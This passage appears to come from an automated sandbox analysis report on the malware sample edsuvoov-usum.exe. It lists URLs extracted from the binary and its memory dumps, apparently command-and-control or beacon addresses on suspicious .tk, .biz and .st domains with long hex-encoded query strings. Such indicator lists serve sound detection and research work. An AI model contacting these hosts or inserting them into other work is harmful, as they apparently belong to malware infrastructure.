Source: edsuvoov-usum.exe, 00000001.00000003.3648952417.0000000000782000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sgfpiiwog.tk/7yI~
Source: edsuvoov-usum.exe, 00000001.00000003.3648952417.0000000000782000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sgfpiiwog.tk/;0
Source: edsuvoov-usum.exe, 00000001.00000003.3648952417.0000000000782000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sgfpiiwog.tk/oy
Source: edsuvoov-usum.exe, 00000001.00000003.3648952417.0000000000782000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sgfpiiwog.tk/xy
Source: edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2446208623.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2457792216.00000000007C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?0203E9253204E9253231E94D3203E9ABE197D18D6802E9E59A01EA131C31C71C0033D90
Source: edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?02146C369F136C369F266C1E9F146CB84C80549EC5156CF637166F00B126420FAD245C1
Source: edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?0214874BFE13874BFE268763FE1487C52D80BFE3A415878B5616847DD026A972CC24B76
Source: edsuvoov-usum.exe, 00000001.00000003.2170071522.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2124424664.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2111789785.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2111460280.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2155906768.00000000007C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?0216471A6811471A6824473268164794BB827FB2321747DAC014442C462469235A26773
Source: edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?021685246B1185246B24850C6B1685AAB882BD8C311785E4C31486124524AB1D5926B50
Source: edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2457792216.00000000007C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?022257A5E92557A5E910578DE922572B3AB66F0DB323576541205493C710799CDB12678
Source: edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?0224E513A724E513A716E53FA724E59D74B0DDBBFD25E5D30F26E6258916CB2A9514D53
Source: edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?02263F721B213F721B143F5A1B263FFCC8B207DA41273FB2B3243C443514114B29160F5
Source: edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?0228AD75372FAD75371AAD5D3728ADFBE4BC95DD6D29ADB59F2AAE43191A834C05189D5
Source: edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?0228CC01DC2FCC01DC1ACC29DC28CC8F0FBCF4A98629CCC1742ACF37F21AE238EE18FC2
Source: edsuvoov-usum.exe, 00000001.00000003.2212630872.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?0228E1FBA12FE1FBA11AE1D3A128E17572BCD953FB29E13B092AE2CD8F1ACFC29318D1D
Source: edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?022E17715D2917715D1C17595D2E17FF8EBA2FD9072F17B1F52C1447731C39486F1E275
Source: edsuvoov-usum.exe, 00000001.00000003.2187880629.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?022EFA881529FA88151CFAA0152EFA06C6BAC2204F2FFA48BD2CF9BE3B1CD4B1271ECAA
Source: edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?023421E6213421E6210621CA21342168F2A0194E7B352126893622D00F060FDF130411C
Source: edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?023449DD0C3349DD0C0649B50C344953DFA071755635491DA4364AEB220667E43E0479F
Source: edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?02352D949D322D949D072DBC9D352D1A4EA1153CC7342D5435372EA2B30703ADAF051DB
Source: edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3605804760.0000000000782000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?023563DBDB3263DBDB0763F3DB35635508A15B738134631B733760EDF5074DE2E90553F
Source: edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?0235A3ED6032A3ED6007A3C56035A363B3A19B453A34A32DC837A0DB4E078DD4520593C
Source: edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?0238A005623FA005620AA02D6238A08BB1AC98AD3839A0C5CA3AA3334C0A8E3C5008902
Source: edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?023F07D6873807D6870D07FE873F075854AB3F7EDD3E07162F3D04E0A90D29EFB50F37F
Source: edsuvoov-usum.exe, 00000001.00000003.2304275315.00000000007C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?0244C4EA6D43C4EA6D76C4C26D44C464BED0FC423745C42AC546C7DC4376EAD35F74F4C
Source: edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2952422316.00000000007D0000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2963937281.00000000007D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?024859D5D44F59D5D47A59FDD448595B07DC617D8E4959157C4A5AE3FA7A77ECE67869F
Source: edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?0249C8E2654EC8E2657BC8CA6549C86CB6DDF04A3F48C822CD4BCBD44B7BE6DB5779F8C
Source: edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?025085CC3A5785CC3A6285E43A508542E9C4BD646051850C925286FA1462ABF50860B5E
Source: edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?025434EAA65334EAA66634C2A654346475C00C42FC55342A0E5637DC88661AD3946404C
Source: edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?0254F4433754F4433766F46F3754F4CDE4C0CCEB6D55F4839F56F7751966DA7A0564C46
Source: edsuvoov-usum.exe, 00000001.00000003.3629814969.0000000000782000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?025868AC8A5F68AC8A6A68848A58682259CC5004D059686C225A6B9AA46A4695B868588
Source: edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?0259AAD5925EAAD5926BAAFD9259AA5B41CD927DC858AA153A5BA9E3BC6B84ECA0699AF
Source: edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2004705819.00000000007C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?0259BA88095EBA88096BBAA00959BA06DACD82205358BA48A15BB9BE276B94B13B698AA
Source: edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?025A2542705D25427068256A705A25CCA3CE1DEA2A5B2582D85826745E680B7B426A156
Source: edsuvoov-usum.exe, 00000001.00000003.2545177368.00000000007D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?025ACD535A5DCD535A68CD7B5A5ACDDD89CEF5FB005BCD93F258CE657468E36A686AFD7
Source: edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?025C90F0795C90F0796E90DC795C907EAAC8A858235D9030D15E93C6576EBEC94B6CA0D
Source: edsuvoov-usum.exe, 00000001.00000003.2051722342.00000000007C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?025D7412245A7412246F743A245D749CF7C94CBA7E5C74D28C5F77240A6F5A2B166D443
Source: edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?02607BE3D5677BE3D5527BCBD5607B6D06F4434B8F617B237D6278D5FB5255DAE7504BC
Source: edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?0263D5344564D5344551D51C4563D5BA96F7ED9C1F62D5F4ED61D6026B51FB0D7753E51
Source: edsuvoov-usum.exe, 00000001.00000003.3605804760.0000000000782000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?0266CF5C6661CF5C6654CF746666CFD2B5F2F7F43C67CF9CCE64CC6A4854E1655456FF7
Source: edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?027026E9E57726E9E54226C1E570266736E41E41BF7126294D7225DFCB4208D0D74016C
Source: edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2446208623.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2457792216.00000000007C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?027124AD727624AD7243248572712423A1E51C052870246DDA73279B5C430A944041148
Source: edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?027812AD6B7F12AD6B4A12856B781223B8EC2A053179126DC37A119B454A3C945948228
Source: edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?027931B6B47E31B6B44B319EB479313867ED091EEE7831761C7B32809A4B1F8F8649019
Source: edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?0279CB82A47ECB82A44BCBAAA479CB0C77EDF32AFE78CB420C7BC8B48A4BE5BB9649FBA
Source: edsuvoov-usum.exe, 00000001.00000003.3605804760.0000000000782000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?027A06F3CB7D06F3CB4806DBCB7A067D18EE3E5B917B0633637805C5E54828CAF94A36D
Source: edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?027E8E5D79798E5D794C8E75797E8ED3AAEAB6F5237F8E9DD17C8D6B574CA0644B4EBE7
Source: edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?02807A0D42877A0D42B27A2542807A83911442A518817ACDEA82793B6CB2543470B04A2
Source: edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?0285DF63EC82DF63ECB7DF4BEC85DFED3F11E7CBB684DFA34487DC55C2B7F15ADEB5EF4
Source: edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?02883DBC9B8F3DBC9BBA3D949B883D32481C0514C1893D7C338A3E8AB5BA1385A9B80D9
Source: edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2737326991.00000000007D0000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2761481736.00000000007D0000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2775675156.00000000007D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?028C8677478B867747BE865F478C86F99418BEDF1D8D86B7EF8E854169BEA84E75BCB65
Source: edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2520151559.00000000007D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?028EBB235C89BB235CBCBB0B5C8EBBAD8F1A838B068FBBE3F48CB81572BC951A6EBE8B0
Source: edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?028F97036288970362BD972B628F978DB11BAFAB388E97C3CA8D94354CBDB93A50BFA72
Source: edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?028FF41BD188F41BD1BDF433D18FF495021BCCB38B8EF4DB798DF72DFFBDDA22E3BFC43
Source: edsuvoov-usum.exe, 00000001.00000003.3629814969.0000000000782000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?0292F796E195F796E1A0F7BEE192F7183206CF3EBB93F7564990F4A0CFA0D9AFD3A2C7B
Source: edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?0296922D8A91922D8AA492058A9692A35902AA85D09792ED2294911BA4A4BC14B8A6A20
Source: edsuvoov-usum.exe, 00000001.00000003.2486210351.00000000007CC000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2486234033.00000000007D3000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2482148761.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2486285890.00000000007D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?0298EF80DD9FEF80DDAAEFA8DD98EF0E0E0CD7288799EF40759AECB6F3AAC1B9EFA8DFA
Source: edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2578341460.00000000007D0000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2963937281.00000000007D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?029975A1079E75A107AB75890799752FD40D4D095D987561AF9B769729AB5B9835A9458
Source: edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2650399591.00000000007D0000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3063939839.00000000007D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?029C5E69069B5E6906AE5E41069C5EE7D50866C15C9D5EA9AE9E5D5F28AE705034AC6E4
Source: edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?02A8ABCE52AFABCE529AABE652A8AB40813C936608A9AB0EFAAAA8F87C9A85F760989BE
Source: edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2004705819.00000000007C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?02A8EA4905AFEA49059AEA6105A8EAC7D63CD2E15FA9EA89ADAAE97F2B9AC4703798DA6
Source: edsuvoov-usum.exe, 00000001.00000003.3605804760.0000000000782000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?02AA0963E6AD0963E698094BE6AA09ED353E31CBBCAB09A34EA80A55C898275AD49A394
Source: edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?02B2F2472FB5F2472F80F26F2FB2F2C9FC26CAEF75B3F28787B0F1710180DC7E1D82C26
Source: edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?02B85052AFBF5052AF8A507AAFB850DC7C2C68FAF5B9509207BA5364818A7E6B9D88607
Source: edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?02BF44216EB844216E8D44096EBF44AFBD2B7C8934BE44E1C6BD4717408D6A185C8F740
Source: edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?02C3651025C4651025F1653825C3659EF6575DB87FC265D08DC166260BF14B2917F3553
Source: edsuvoov-usum.exe, 00000001.00000003.2963937281.00000000007D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?02C4799EC2C3799EC2F679B6C2C479101150413698C5795E6AC67AA8ECF657A7F0F449B
Source: edsuvoov-usum.exe, 00000001.00000003.2212630872.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2200877080.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?02CD663BDACA663BDAFF6613DACD66B509595E9380CC66FB72CF650DF4FF4802E8FD561
Source: edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?02D0E53B31D7E53B31E2E51331D0E5B5E244DD936BD1E5FB99D2E60D1FE2CB0203E0D51
Source: edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3629814969.0000000000782000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3605804760.0000000000782000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?02DE65FDB3D965FDB3EC65D5B3DE6573604A5D55E9DF653D1BDC66CB9DEC4BC481EE55D
Source: edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?02DEF47E9BD9F47E9BECF4569BDEF4F0484ACCD6C1DFF4BE33DCF748B5ECDA47A9EEC45
Source: edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3629814969.0000000000782000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2699619982.00000000007D0000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2699979474.00000000007D3000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3605804760.0000000000782000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?02DFBDD99DD8BDD99DEDBDF19DDFBD574E4B8571C7DEBD1935DDBEEFB3ED93E0AFEF8DF
Source: edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?02E9217EECEE217EECDB2156ECE921F03F7D19D6B6E821BE44EB2248C2DB0F47DED9115
Source: edsuvoov-usum.exe, 00000001.00000003.2051722342.00000000007C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?02EB193971EC193971D9191171EB19B7A27F21912BEA19F9D9E91A0F5FD9370043DB291
Source: edsuvoov-usum.exe, 00000001.00000003.1879518797.00000000007C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?02F373F88DF473F88DC173D08DF373765E674B50D7F2733825F170CEA3C15DC1BFC343D
Source: edsuvoov-usum.exe, 00000001.00000003.2650399591.00000000007D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?02F85E4FC9FF5E4FC9CA5E67C9F85EC11A6C66E793F95E8F61FA5D79E7CA7076FBC86E6
Source: edsuvoov-usum.exe, 00000001.00000003.3591112850.00000000007D4000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3775491400.00000000007CD000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3736886582.00000000007CE000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3708336838.00000000007CE000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3624471725.00000000007CD000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3803613902.00000000007CD000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3720200029.00000000007CE000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3675870463.00000000007CD000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000002.3818092685.00000000007D0000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3808681054.00000000007CD000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3591461067.00000000007D4000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3780627685.00000000007D4000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3629707220.00000000007CD000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3531692273.00000000007D4000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3591492244.00000000007D7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3691854049.00000000007CE000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3648836382.00000000007CD000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3605681590.00000000007D4000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3775547966.00000000007D3000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3748340773.00000000007CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://uutgmfehaouhp.st/
Source: edsuvoov-usum.exe, 00000001.00000003.2124424664.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2111789785.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2111460280.00000000007C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://uvwabzkyifixf.tk/
Source: edsuvoov-usum.exe, 00000001.00000002.3817754289.000000000074E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://wfnsamu.st/L
Source: edsuvoov-usum.exe, 00000001.00000003.2004705819.00000000007C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ww99.utbidet-ugeas.biz/d/N?0216856
Source: edsuvoov-usum.exe, 00000001.00000003.2761481736.00000000007D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ww99.utbidet-ugeas.biz/d/N?022E17715D2917715D1C17595D2E17FF8EBA2FD9072F17B1F52C1447731C39486F
Source: edsuvoov-usum.exe, 00000001.00000003.2724929553.00000000007D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ww99.utbidet-ugeas.biz/d/N?023563DBDB3263DBDB0763F3DB35635508A15B738134631B733760EDF5074DE2E9
Source: edsuvoov-usum.exe, 00000001.00000003.2874261135.00000000007CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ww99.utbidet-ugeas.biz/d/N?023F07D6873807D6870D07FE873F075854AB3F7EDD3E07162F3D04E0A90D29EFB5
Source: edsuvoov-usum.exe, 00000001.00000003.2862072765.00000000007CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ww99.utbidet-ugeas.biz/d/N?025868AC8A5F68AC8A6A68848A58682259CC5004D059686C225A6B9AA46A4695B8
Source: edsuvoov-usum.exe, 00000001.00000003.1633868801.00000000007CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ww99.utbidet-ugeas.biz/d/N?0263D5344564D5344551D51C4563D5BA96F7ED9C1F62D5F4ED61D6026B51FB0D77
Source: edsuvoov-usum.exe, 00000001.00000003.3605804760.00000000007BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ww99.utbidet-ugeas.biz/d/N?0266CF5C6661CF5C6654CF746666CFD2B5F2F7F43C67CF9CCE64CC6A4854E16554
Source: edsuvoov-usum.exe, 00000001.00000003.3009879133.00000000007C8000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3803639878.00000000007C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ww99.utbidet-ugeas.biz/d/N?0285DF63EC82DF63ECB7DF4BEC85DFED3F11E7CBB684DFA34487DC55C2B7F15ADE
Source: edsuvoov-usum.exe, 00000001.00000003.2775675156.00000000007D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ww99.utbidet-ugeas.biz/d/N?028C86
Source: edsuvoov-usum.exe, 00000001.00000003.2712709223.00000000007D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ww99.utbidet-ugeas.biz/d/N?028C8677478B867747BE865F478C86F99418BEDF1D8D86B7EF8E854169BEA84E75
